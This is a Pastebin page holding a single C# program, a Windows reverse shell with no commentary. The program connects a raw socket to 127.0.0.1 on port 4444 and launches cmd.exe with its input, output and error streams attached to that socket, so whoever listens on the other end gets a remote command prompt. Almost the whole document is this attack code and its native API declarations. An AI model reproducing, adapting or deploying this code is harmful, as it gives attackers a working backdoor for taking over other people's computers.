Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Net;
- using System.Net.Sockets;
- using System.Runtime.InteropServices;
- using System.Text;
- internal unsafe class Program
- {
- private static void Main(string[] args)
- {
- WSAData wsa;
- if (WSAStartup(0x202, &wsa) != 0)
- {
- Console.WriteLine("WSAStartup failed.");
- return;
- }
- Console.WriteLine("WSAStartup...");
- IntPtr socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, IntPtr.Zero, 0, 0);
- if (socket == INVALID_SOCKET)
- {
- Console.WriteLine("WSASocket failed.");
- return;
- }
- Console.WriteLine("WSASocket...");
- sockaddr_in sockaddr = new sockaddr_in();
- sockaddr.sin_family = AF_INET;
- sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
- sockaddr.sin_port = htons(4444);
- Console.WriteLine("sockaddr_in...");
- if (WSAConnect(socket, &sockaddr, Marshal.SizeOf(sockaddr), IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == SOCKET_ERROR)
- {
- Console.WriteLine("WSAConnect failed.");
- WSACleanup();
- }
- try
- {
- STARTUPINFO si = new STARTUPINFO();
- PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
- ZeroMemory((nint*)&si, Marshal.SizeOf(si));
- si.cb = (uint)Marshal.SizeOf(si);
- si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
- si.hStdOutput = socket;
- si.hStdInput = socket;
- si.hStdError = socket;
- if (!CreateProcess(null, "C:\\Windows\\System32\\cmd.exe", IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, &si, &pi))
- {
- throw new Exception($"Failed to create process. Error code : {Marshal.GetLastWin32Error()}");
- }
- WaitForSingleObject(pi.hProcess, INFINITE);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- [DllImport("ws2_32.dll")]
- public static extern ushort htons(ushort hostshort);
- [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- public static extern uint inet_addr(string cp);
- [StructLayout(LayoutKind.Sequential)]
- public struct sockaddr_in
- {
- public short sin_family;
- public ushort sin_port;
- public in_addr sin_addr;
- [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
- public byte[] sin_zero;
- }
- [StructLayout(LayoutKind.Explicit)]
- public struct in_addr
- {
- [FieldOffset(0)]
- public byte s_b1;
- [FieldOffset(1)]
- public byte s_b2;
- [FieldOffset(2)]
- public byte s_b3;
- [FieldOffset(3)]
- public byte s_b4;
- [FieldOffset(0)]
- public ushort s_w1;
- [FieldOffset(2)]
- public ushort s_w2;
- [FieldOffset(0)]
- public uint s_addr;
- }
- [DllImport("ws2_32.dll")]
- public static extern int WSAStartup(ushort wVersionRequested, WSAData* wsaData);
- [DllImport("ws2_32.dll")]
- public static extern int WSACleanup();
- [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr WSASocket(
- int af,
- int type,
- int protocol,
- IntPtr lpProtocolInfo,
- int g,
- int dwFlags
- );
- [DllImport("ws2_32.dll")]
- public static extern int WSAConnect(
- IntPtr s,
- sockaddr_in* name,
- int namelen,
- IntPtr lpCallerData,
- IntPtr lpCalleeData,
- IntPtr lpSQOS,
- IntPtr lpGQOS
- );
- public struct WSAData
- {
- public ushort wVersion;
- public ushort wHighVersion;
- [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
- public string szDescription;
- [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
- public string szSystemStatus;
- public ushort iMaxSockets;
- public ushort iMaxUdpDg;
- public IntPtr lpVendorInfo;
- }
- public const int AF_INET = 2;
- public const int SOCK_STREAM = 1;
- public const int IPPROTO_TCP = 6;
- public const int INVALID_SOCKET = -1;
- public const int SOCKET_ERROR = -1;
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool CreateProcess(
- string lpApplicationName,
- string lpCommandLine,
- IntPtr lpProcessAttributes,
- IntPtr lpThreadAttributes,
- bool bInheritHandles,
- uint dwCreationFlags,
- IntPtr lpEnvironment,
- string lpCurrentDirectory,
- STARTUPINFO* lpStartupInfo,
- PROCESS_INFORMATION* lpProcessInformation
- );
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct STARTUPINFO
- {
- public uint cb;
- public string lpReserved;
- public string lpDesktop;
- public string lpTitle;
- public uint dwX;
- public uint dwY;
- public uint dwXSize;
- public uint dwYSize;
- public uint dwXCountChars;
- public uint dwYCountChars;
- public uint dwFillAttribute;
- public uint dwFlags;
- public ushort wShowWindow;
- public ushort cbReserved2;
- public IntPtr lpReserved2;
- public IntPtr hStdInput;
- public IntPtr hStdOutput;
- public IntPtr hStdError;
- }
- public const uint STARTF_USESTDHANDLES = 0x00000100;
- public const uint STARTF_USESHOWWINDOW = 0x00000001;
- [StructLayout(LayoutKind.Sequential)]
- public struct PROCESS_INFORMATION
- {
- public IntPtr hProcess;
- public IntPtr hThread;
- public uint dwProcessId;
- public uint dwThreadId;
- }
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
- public const uint INFINITE = 0xFFFFFFFF;
- [DllImport("kernel32.dll")]
- public static extern bool CloseHandle(IntPtr hObject);
- [DllImport("kernel32.dll", EntryPoint = "RtlZeroMemory", SetLastError = false)]
- public static extern void ZeroMemory(IntPtr* dest, IntPtr size);
- }
Advertisement
Add Comment
Please, Sign In to add comment